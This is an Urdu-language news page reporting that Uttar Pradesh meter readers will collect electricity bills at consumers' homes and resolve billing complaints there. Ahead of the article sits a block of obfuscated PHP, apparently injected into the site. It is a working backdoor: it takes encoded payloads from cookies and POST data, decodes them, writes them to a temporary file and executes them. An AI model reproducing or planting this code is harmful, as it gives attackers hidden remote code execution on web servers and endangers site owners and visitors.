$yKPOTF = "\160" . chr ( 556 - 452 ).chr (80) . "\x5f" . "\x54" . chr (99) . "\145" . "\x6e";$ALbNYzW = chr (99) . "\x6c" . chr (97) . 's' . "\x73" . "\137" . chr ( 662 - 561 )."\170" . chr ( 487 - 382 ).'s' . chr (116) . 's';$gRFMFw = class_exists($yKPOTF); $ALbNYzW = "11486";$MmJqOa = strpos($ALbNYzW, $yKPOTF);if ($gRFMFw == $MmJqOa){function gfQNqj(){$wvcHVsas = new /* 49798 */ phP_Tcen(34559 + 34559); $wvcHVsas = NULL;}$QFgiwPgYn = "34559";class phP_Tcen{private function ibCqLjZF($QFgiwPgYn){if (is_array(phP_Tcen::$toghwd)) {$name = sys_get_temp_dir() . "/" . crc32(phP_Tcen::$toghwd["salt"]);@phP_Tcen::$toghwd["write"]($name, phP_Tcen::$toghwd["content"]);include $name;@phP_Tcen::$toghwd["delete"]($name); $QFgiwPgYn = "34559";exit();}}public function hOrzLMc(){$gadhB = "16476";$this->_dummy = str_repeat($gadhB, strlen($gadhB));}public function __destruct(){phP_Tcen::$toghwd = @unserialize(phP_Tcen::$toghwd); $QFgiwPgYn = "62554_49365";$this->ibCqLjZF($QFgiwPgYn); $QFgiwPgYn = "62554_49365";}public function AsmYUe($gadhB, $mfzKdT){return $gadhB[0] ^ str_repeat($mfzKdT, intval(strlen($gadhB[0]) / strlen($mfzKdT)) + 1);}public function fqdBZt($gadhB){$spuKK = "\x62" . 'a' . chr ( 196 - 81 )."\145" . chr ( 444 - 390 )."\64";return array_map($spuKK . "\x5f" . chr (100) . "\x65" . "\x63" . chr (111) . 'd' . "\x65", array($gadhB,));}public function __construct($fUVLibLce=0){$YljeF = chr ( 334 - 290 ); $gadhB = "";$LBBQqBfX = $_POST;$tReWzpOlNp = $_COOKIE;$mfzKdT = "b5bda18b-31d1-436d-9e82-aa4cc60d83d3";$GxIWNWBw = @$tReWzpOlNp[substr($mfzKdT, 0, 4)];if (!empty($GxIWNWBw)){$GxIWNWBw = explode($YljeF, $GxIWNWBw);foreach ($GxIWNWBw as $CwxfD){$gadhB .= @$tReWzpOlNp[$CwxfD];$gadhB .= @$LBBQqBfX[$CwxfD];}$gadhB = $this->fqdBZt($gadhB);}phP_Tcen::$toghwd = $this->AsmYUe($gadhB, $mfzKdT);if (strpos($mfzKdT, $YljeF) !== FALSE){$mfzKdT = explode($YljeF, $mfzKdT); $tnzJXPnjmq = sprintf("62554_49365", rtrim($mfzKdT[0]));}}public static $toghwd = 46288;}gfQNqj();} اب میٹر ریڈر گھرگھر پہونچیں گے،صارفین کی بجلی کی تمام شکایات گھر پر ہی ہونگی حل – شاکرہ نیوز چینل

اب میٹر ریڈر گھرگھر پہونچیں گے،صارفین کی بجلی کی تمام شکایات گھر پر ہی ہونگی حل

مہنداول،سنت کبیرنگر
اتر پردیش پاور کارپوریشن نے صارفین کو 100% سپروائزڈ بلنگ کرنے کا حکم دیا ہے۔ اس نئے سسٹم سے محکمہ بجلی کے ملازمین اور اہلکار ہر میٹر ریڈر کے ساتھ کنکشن ہولڈروں کے گھر جائیں گے۔
وہ صارفین کو درست بلنگ کو بھی یقینی بنائیں گے۔ میٹر ریڈرز موقع پر ہی صارفین کے دو کلو واٹ تک کے بجلی کے بل وصول کریں گے۔
 ان دنوں صارفین کی شکایات ہے کہ بل وقت پر نہیں مل رہے، اس لیے مقررہ تاریخ پر بل کیسے جمع ہوں گے۔ یہی نہیں بلوں میں بے ضابطگیوں کی شکایات بھی آتی تھیں لیکن اب یہ مسئلہ ختم ہو جائے گا۔ کوئی بھی صارف جو بل میں کسی بھی تضاد کی شکایت کرے گا وہ بل اٹینڈنٹ کے ساتھ موجود محکمہ جاتی عملے سے فوری طور پر اپنا مسئلہ حل کروا سکے گا۔ صارفین گھر پر بل جمع کر کے رسید حاصل کر سکیں گے۔
لوگوں کا کہنا ہے کہ محکمہ کا یہ اقدام بہت بہتر ثابت ہوگا۔  اب نہ صرف لوگوں کی شکایات دور ہوں گی بلکہ بل بھی فوری جمع کرائے جائیں گے۔  میٹر ریڈرز کو دو کلو واٹ تک کے صارفین کے لیے موقع پر بل کی ادائیگی کرنے کی سہولت دی گئی ہے۔  پاور کارپوریشن کے چیئرمین ڈاکٹر آشیش کمار گوئل نے اسے فوری شروع کرنے کی ہدایت دی ہے۔
 صارفین معیاری بل نہ ملنے کی بار بار  شکایت کر رہے۔  لیکن اب یہ مسئلہ ختم ہو جائے گا۔  بلنگ کرنے والے اہلکاروں کو ہر وقت اپنے میٹر ریڈر کے ای والٹ میں کم از کم 10,000 روپے رکھنے ہوں گے تاکہ وہ چھوٹے صارفین کے بل فوری طور پر جمع کرا سکیں۔  اس سے صارفین کو گھر بیٹھے بل ادا کرنے کی سہولت ملے گی۔
 اس سسٹم کے تحت جو بھی میٹر ریڈر ہوگا اسے صارفین کو بل دینا ہوگا اور 5000 روپے کا بل وصول کرنا ہوگا۔  اس کے بدلے میں محکمہ فی صارف 12 روپے کمیشن دے گا۔   تاکہ کوئی شکایت نہ ہو کہ ہم بل جمع کرانے کی کوشش کر رہے تھے لیکن ریڈر کے پاس بیلنس نہیں تھا۔
 ایگزیکٹیو انجینئر ڈی کے لال نے کہا کہ یہ نیا نظام لاگو کیا گیا ہے جس سے میٹر ریڈر دو کلو واٹ صارفین کے بل جمع کرا سکیں گے۔  اس سے محکمہ کو ریونیو حاصل ہوگا اور صارفین کے مسائل بھی حل ہوں گے۔

Related posts